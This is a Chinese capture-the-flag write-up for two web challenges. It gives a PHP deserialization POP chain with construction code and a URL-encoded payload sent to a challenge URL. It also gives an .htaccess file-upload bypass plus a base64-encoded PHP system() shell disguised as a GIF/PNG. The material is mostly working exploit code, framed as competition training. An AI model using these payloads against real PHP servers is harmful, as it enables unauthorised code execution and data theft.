【古剑杯】

[古剑山]unse方法一

考点：php反序列化、php伪协议

解题步骤：

打开题目界面

直接访问当前目录的test.php，没有返回结果，看到include函数，可以结合php伪协议读取出test.php的源码

解密后

<?php  
    $test = "Hello world";

include "flag.php";


function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun { 
    private $a; 
    function __wakeup(){ 
        $temp = $this->a . 'ctf'; 
    } 
} 

class bfun { 
    private $items = array(); 
    public function __toString() { 
        $item = $this->items; 
        $str = $item['dd']->knife; 
        return 'what the good?'; 
    } 
} 

class cfun { 
    private $params = array(); 
    public function __get($key) {  
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp); 
    }
}
a

然后根据上面的php代码，我们进行构造pop链

<?php
class afun {
    private $a;

    function __construct($b){
        $this->a=$b;
    }
    function __wakeup(){
        $temp = $this->a . 'ctf';  //这里可以触发__toString()函数
    }
}

class bfun {
    private $items = array();
    function __construct($b){
        $this->items=$b;
    }
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}

class cfun {
    private $params = array();
    function __construct($b){
        $this->params=$b;
    }
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}

$c=new cfun(array('knife'=>'flag'));
$b=new bfun(array('dd'=>$c));
$a=new afun($b);
//$c=new cfun();
echo urlencode(serialize($a));

payload如下

O%3A4%3A%22afun%22%3A1%3A%7Bs%3A7%3A%22%00afun%00a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A11%3A%22%00bfun%00items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A12%3A%22%00cfun%00params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

执行即可获得flag

http://39.108.66.86:38076/?yourcode=O%3A4%3A%22afun%22%3A1%3A%7Bs%3A7%3A%22%00afun%00a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A11%3A%22%00bfun%00items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A12%3A%22%00cfun%00params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

[古剑山]unse 方法二

考点：php反序列化、php伪协议

解题步骤：

index.php

<?php
    include("./test.php");
    if(isset($_GET['fun'])){
        if(justafun($_GET['fun'])){
            include($_GET['fun']);
        }
    }else{
        unserialize($_GET['yourcode']);
    }
    highlight_file(__FILE__);
?>

伪协议读test.php

<?php  
    $test = "Hello world";

include "flag.php";

function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun { 
    private $a; 
    function __wakeup(){ 
        echo 1;
        $temp = $this->a . 'ctf'; 
    } 
} 

class bfun { 
    private $items = array(); 
    public function __toString() { 
        echo 2;
        $item = $this->items; 
        $str = $item['dd']->knife; 
        return 'what the good?'; 
    } 
} 

class cfun { 
    private $params = array(); 
    public function __get($key) {  
        echo 3;
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp); 
    }
}

pop链读$flag

<?php  
class afun { 
    private $a; 
        function __construct($a){
            $this->a=$a;
        }
} 

class bfun { 
    private $items = array(); 
        function __construct($a){
            $this->items['dd']=$a;
        }
} 

class cfun { 
    private $params = array(); 
        function __construct(){
            $this->params['knife']='flag';
        }
}

$c=new cfun;
$b=new bfun($c);
$a=new afun($b);
echo urlencode(serialize($a));

?>

[古剑山]upload_2_shell

考点：文件上传.htaccess解析漏洞，exif_imagetype函数绕过

解题步骤：

参考：https://blog.csdn.net/m0_62879498/article/details/125122900

.htaccess在头部定义图片大小来绕过exif_imagetype函数（报错处有提示），然后过滤了<?也可以结合.htaccess base64编码绕过

#define width 1000
#define height 1000 
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.png"

1.png（GIF89a后面要加个12才能成功，为了匹配base64解码不乱吗）

GIF89a12PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==